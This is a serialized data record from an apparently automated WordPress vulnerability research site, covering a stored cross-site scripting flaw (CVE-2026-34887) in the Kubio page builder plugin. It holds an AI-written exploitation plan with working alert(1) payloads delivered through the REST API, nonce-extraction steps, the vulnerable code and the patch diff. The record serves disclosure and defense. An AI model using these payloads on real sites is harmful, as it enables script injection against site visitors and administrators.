[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fCedXx92tuZYMUgn5bBgS4JU6O5QCJWip0OruWZdLdBg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":20,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":40},"CVE-2026-34887","kubio-ai-page-builder-authenticated-contributor-stored-cross-site-scripting-2","Kubio AI Page Builder \u003C= 2.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting","The Kubio AI Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.7.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","kubio",null,"\u003C=2.7.0","2.7.1","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-31 00:00:00","2026-04-02 14:48:51",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F189090a0-26fd-4a0e-b663-24d28266b56b?source=api-prod",3,[22,23,24,25,26,27,28,29],"build\u002Fblock-library\u002Fblocks-manifest.php","build\u002Fblock-library\u002Fblocks\u002Fvideo\u002Findex.php","build\u002Fthird-party-blocks\u002Fmanifest.php","languages\u002Fkubio-de_DE.po","languages\u002Fkubio-en_GB.po","languages\u002Fkubio-es_ES.po","languages\u002Fkubio-fr_BE.po","languages\u002Fkubio-fr_FR.po","researched",false,"# Exploitation Research Plan: CVE-2026-34887 (Kubio AI Page Builder Stored XSS)\n\n## 1. Vulnerability Summary\nThe **Kubio AI Page Builder** plugin (versions \u003C= 2.7.0) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the `VideoBlock` class, specifically during the processing and rendering of block attributes like `internalUrl` and `posterImage.url`. The plugin fails to sanitize these attributes before including them in the block's HTML output or style attributes, allowing an attacker with Contributor-level access to inject arbitrary JavaScript that executes when any user views the affected page.\n\n## 2. Attack Vector Analysis\n- **Vulnerable Block:** `kubio\u002Fvideo` (Identified from `build\u002Fblock-library\u002Fblocks-manifest.php`).\n- **Vulnerable Attributes:** `internalUrl` (primary) and `posterImage.url` (secondary).\n- **Authentication Level:** Contributor or higher (users with `edit_posts` capability).\n- **Endpoint:** `POST \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts` (Standard WordPress REST API for creating\u002Fupdating posts).\n- **Payload Placement:** Inside the Gutenberg block comment in the `post_content` field.\n\n## 3. Code Flow\n1.  **Entry Point:** An authenticated user saves a post containing a `kubio\u002Fvideo` block. The block attributes (e.g., `internalUrl`) are stored in the database within the `post_content`.\n2.  **Rendering Trigger:** A user views the post. WordPress calls the rendering logic for the dynamic block.\n3.  **Attribute Retrieval:** `VideoBlock::getVideoParameters()` (in `build\u002Fblock-library\u002Fblocks\u002Fvideo\u002Findex.php`) calls `$this->getAttribute( 'internalUrl' )` to retrieve the user-supplied URL.\n4.  **URL Generation:** `generateInternalUrl( $params )` uses `sprintf( '%s%s', $internalUrl, $time )` to construct the final URL string without any sanitization or escaping of `$internalUrl`.\n5.  **Element Mapping:** `mapPropsToElements()` calls `getShortcode( $params )` using the tainted URL and assigns the result to the `innerHTML` of the `self::VIDEO` element.\n6.  **Sink:** The `innerHTML` is rendered directly into the page. If `internalUrl` contains HTML tags (e.g., `\">\u003Cimg src=x onerror=alert(1)>\"`), they are injected into the DOM.\n7.  **Alternative Sink:** The `self::POSTER` element uses `$this->getAttribute( 'posterImage.url' )` directly inside a `style` attribute's `url()` function.\n\n## 4. Nonce Acquisition Strategy\nTo exploit this via the REST API as a Contributor:\n1.  **Login** to the WordPress instance as a Contributor.\n2.  **Navigate** to the New Post page: `browser_navigate(\"\u002Fwp-admin\u002Fpost-new.php\")`.\n3.  **Extract the REST Nonce** from the `wpApiSettings` JavaScript object:\n    - `const restNonce = await browser_eval(\"window.wpApiSettings?.nonce\")`.\n4.  This nonce is required for the `X-WP-Nonce` header in the subsequent `POST` request.\n\n## 5. Exploitation Strategy\nThe goal is to create a post containing a malicious `kubio\u002Fvideo` block.\n\n### Step-by-Step Plan:\n1.  **Initialize Session:** Login as a Contributor.\n2.  **Get REST Nonce:** Navigate to `\u002Fwp-admin\u002Fpost-new.php` and extract the nonce as described above.\n3.  **Craft Payload:** \n    - We will use the `internalUrl` attribute to inject a script tag.\n    - Block Markup: \n      ```html\n      \u003C!-- wp:kubio\u002Fvideo {\"videoCategory\":\"internal\",\"internalUrl\":\"\\u0022\\u003e\\u003cimg src=x onerror=alert(1)\\u003e\"} \u002F-->\n      ```\n4.  **Submit Exploitation Request:**\n    - **Method:** `POST`\n    - **URL:** `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n    - **Headers:** \n        - `X-WP-Nonce: [EXTRACTED_NONCE]`\n        - `Content-Type: application\u002Fjson`\n    - **Body:**\n      ```json\n      {\n        \"title\": \"Kubio XSS PoC\",\n        \"content\": \"\u003C!-- wp:kubio\u002Fvideo {\\\"videoCategory\\\":\\\"internal\\\",\\\"internalUrl\\\":\\\"\\\\\\\">\u003Cimg src=x onerror=alert(1)>\\\"} \u002F-->\",\n        \"status\": \"publish\"\n      }\n      ```\n5.  **Trigger XSS:** Navigate to the URL of the newly created post.\n\n## 6. Test Data Setup\n- **User:** A user with the `contributor` role (e.g., username: `attacker`, password: `password123`).\n- **Plugin Configuration:** Ensure the `kubio` plugin is active. No special AI configuration is needed as we are manually crafting the block markup.\n\n## 7. Expected Results\n- The REST API should return a `201 Created` status code with the post data.\n- When navigating to the post's permalink, the browser should execute `alert(1)`.\n- The rendered HTML will look approximately like:\n  ```html\n  \u003Cdiv data-kubio-component=\"video\" ...>\n    \u003Cdiv class=\"kubio-video-inner\">\n      ... src=\"\">\u003Cimg src=x onerror=alert(1)>#t=0\" ...\n    \u003C\u002Fdiv>\n  \u003C\u002Fdiv>\n  ```\n\n## 8. Verification Steps\n1.  **Verify Storage:** Use WP-CLI to check the post content:\n    - `wp post get [POST_ID] --field=post_content`\n    - Confirm the malicious block markup is present.\n2.  **Verify Execution:** Check the frontend output for the unescaped payload:\n    - `curl -s [POST_URL] | grep \"onerror=alert(1)\"`\n\n## 9. Alternative Approaches\nIf the `internalUrl` vector is mitigated by a WAF or different rendering logic, use the **Style Injection** vector in `posterImage.url`:\n\n**Alternative Payload:**\n- **Attribute:** `posterImage.url`\n- **Value:** `x\") ; \" onmouseover=\"alert(1)`\n- **Block Markup:**\n  ```html\n  \u003C!-- wp:kubio\u002Fvideo {\"displayAs\":\"posterImage\",\"posterImage\":{\"url\":\"x\\\") ; \\\" onmouseover=\\\"alert(1)\"}} \u002F-->\n  ```\n- **Reasoning:** If the plugin renders the `POSTER` element using a `style` attribute, the payload will attempt to break out of the `url()` function and the `style` quote to inject an event handler.\n\n**Restricted Capabilities:**\nIf Contributors cannot publish posts (standard WP behavior), the agent should set `\"status\": \"pending\"` or `\"draft\"` in the REST request and then use the `browser_navigate` tool to view the post in the **Preview** mode, which still triggers the XSS.","The Kubio AI Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the `kubio\u002Fvideo` block in versions up to 2.7.0. Authenticated attackers with contributor-level permissions or higher can inject arbitrary JavaScript through unsanitized block attributes like `internalUrl` and `posterImage.url`, which execute when a user views the affected page.","\u002F\u002F build\u002Fblock-library\u002Fblocks\u002Fvideo\u002Findex.php\n\npublic function mapPropsToElements() {\n\t\u002F\u002F ...\n\treturn array(\n\t\tself::VIDEO  => array(\n\t\t\t'innerHTML' => $shortcodeContent,\n\t\t),\n\t\t\u002F\u002F ...\n\t\tself::POSTER => array_merge(\n\t\t\tarray(\n\t\t\t\t'style' => array(\n\t\t\t\t\t'background-image' => \"url({$this->getAttribute( 'posterImage.url' )})\",\n\t\t\t\t),\n\t\t\t),\n\t\t\t$frontendAttributes\n\t\t),\n\t);\n}\n\n---\n\n\u002F\u002F build\u002Fblock-library\u002Fblocks\u002Fvideo\u002Findex.php\n\npublic function generateInternalUrl( $params ) {\n\t$internalUrl   = LodashBasic::get( $params, 'internalUrl' );\n\t\u002F\u002F ... [logic to calculate $time] ...\n\treturn sprintf( '%s%s', $internalUrl, $time );\n}\n\n---\n\n\u002F\u002F build\u002Fblock-library\u002Fblocks\u002Fvideo\u002Findex.php\n\nfunction doVideo( $url, $attributes ) {\n\t$poster_url = $this->getAttribute( 'posterImage.url' );\n\n\tif ( $poster_url ) {\n\t\t$attributes .= ' poster=\"' . esc_url( $poster_url ) . '\"';\n\t}\n\n\treturn sprintf(\n\t\t'\u003Cvideo class=\"h-video-main\" playsinline poster=\"%s\" %s>' .\n\t\t' \u003Csource src=\"%s\" type=\"video\u002Fmp4\" \u002F>' .\n\t\t'\u003C\u002Fvideo>',\n\t\t$poster_url,\n\t\tesc_attr( $attributes ),\n\t\tesc_url( $url )\n\t);\n}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkubio\u002F2.7.0\u002Fbuild\u002Fblock-library\u002Fblocks\u002Fvideo\u002Findex.php\t2025-02-20 16:01:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fkubio\u002F2.7.1\u002Fbuild\u002Fblock-library\u002Fblocks\u002Fvideo\u002Findex.php\t2026-03-04 06:47:02.000000000 +0000\n@@ -42,6 +42,9 @@\n \t\t$shortcodeContent = $this->getShortcode( $params );\n \n \t\t$frontendAttributes = $this->getFrontendScriptAttributes();\n+\t\t$url = $this->getAttribute('posterImage.url');\n+\t\t$url = $this->getEscapedUrl($url);\n+\n \n \t\treturn array(\n \t\t\tself::VIDEO  => array(\n@@ -57,7 +60,7 @@\n \t\t\tself::POSTER => array_merge(\n \t\t\t\tarray(\n \t\t\t\t\t'style' => array(\n-\t\t\t\t\t\t'background-image' => \"url({$this->getAttribute( 'posterImage.url' )})\",\n+\t\t\t\t\t\t'background-image' => \"url($url)\",\n \t\t\t\t\t),\n \t\t\t\t),\n \t\t\t\t$frontendAttributes\n@@ -65,6 +68,21 @@\n \t\t);\n \t}\n \n+\tpublic function getEscapedUrl($url) {\n+\t\t$url = esc_url($url);\n+\n+\t\t\u002F\u002F Allow only http\u002Fhttps\n+\t\tif (! empty($url)) {\n+\t\t\t$parsed = wp_parse_url($url);\n+\t\t\tif (! isset($parsed['scheme']) || ! in_array($parsed['scheme'], ['http', 'https'], true)) {\n+\t\t\t\t$url = '';\n+\t\t\t}\n+\t\t} else {\n+\t\t\t$url = '';\n+\t\t}\n+\n+\t\treturn $url;\n+\t}\n \tpublic function getVideoParameters() {\n \t\t$paramList = array( 'internalUrl', 'youtubeUrl', 'vimeoUrl', 'videoCategory', 'displayAs', 'playerOptions' );\n \t\t$params    = array();\n@@ -339,8 +357,8 @@\n \n \tfunction doVideo( $url, $attributes ) {\n \t\t$poster_url = $this->getAttribute( 'posterImage.url' );\n-\n-\t\tif ( $poster_url ) {\n+\t\t$poster_url = $this->getEscapedUrl($poster_url);\n+\t\tif ( !empty($poster_url) ) {\n \t\t\t$attributes .= ' poster=\"' . esc_url( $poster_url ) . '\"';\n \t\t}\n \n@@ -348,7 +366,7 @@\n \t\t\t'\u003Cvideo class=\"h-video-main\" playsinline poster=\"%s\" %s>' .\n \t\t\t' \u003Csource src=\"%s\" type=\"video\u002Fmp4\" \u002F>' .\n \t\t\t'\u003C\u002Fvideo>',\n-\t\t\t$poster_url,\n+\t\t\tesc_attr($poster_url),\n \t\t\tesc_attr( $attributes ),\n \t\t\tesc_url( $url )\n \t\t);","To exploit this vulnerability, an attacker with Contributor-level access can create or update a post via the WordPress REST API (`POST \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`) containing a `kubio\u002Fvideo` Gutenberg block. The attacker crafts the block content to include a malicious payload within the `internalUrl` or `posterImage.url` attributes. For example, a payload like `\">\u003Cimg src=x onerror=alert(1)>` in the `internalUrl` attribute will break out of the HTML attribute and inject a script. When any user (including administrators) views the published post or a preview of it, the unsanitized URL is rendered into the page's HTML or CSS, executing the injected JavaScript in the victim's browser context.","gemini-3-flash-preview","2026-04-17 22:02:57","2026-04-17 22:04:12",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","2.7.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkubio\u002Ftags\u002F2.7.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkubio.2.7.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkubio\u002Ftags\u002F2.7.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkubio.2.7.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkubio\u002Ftags"]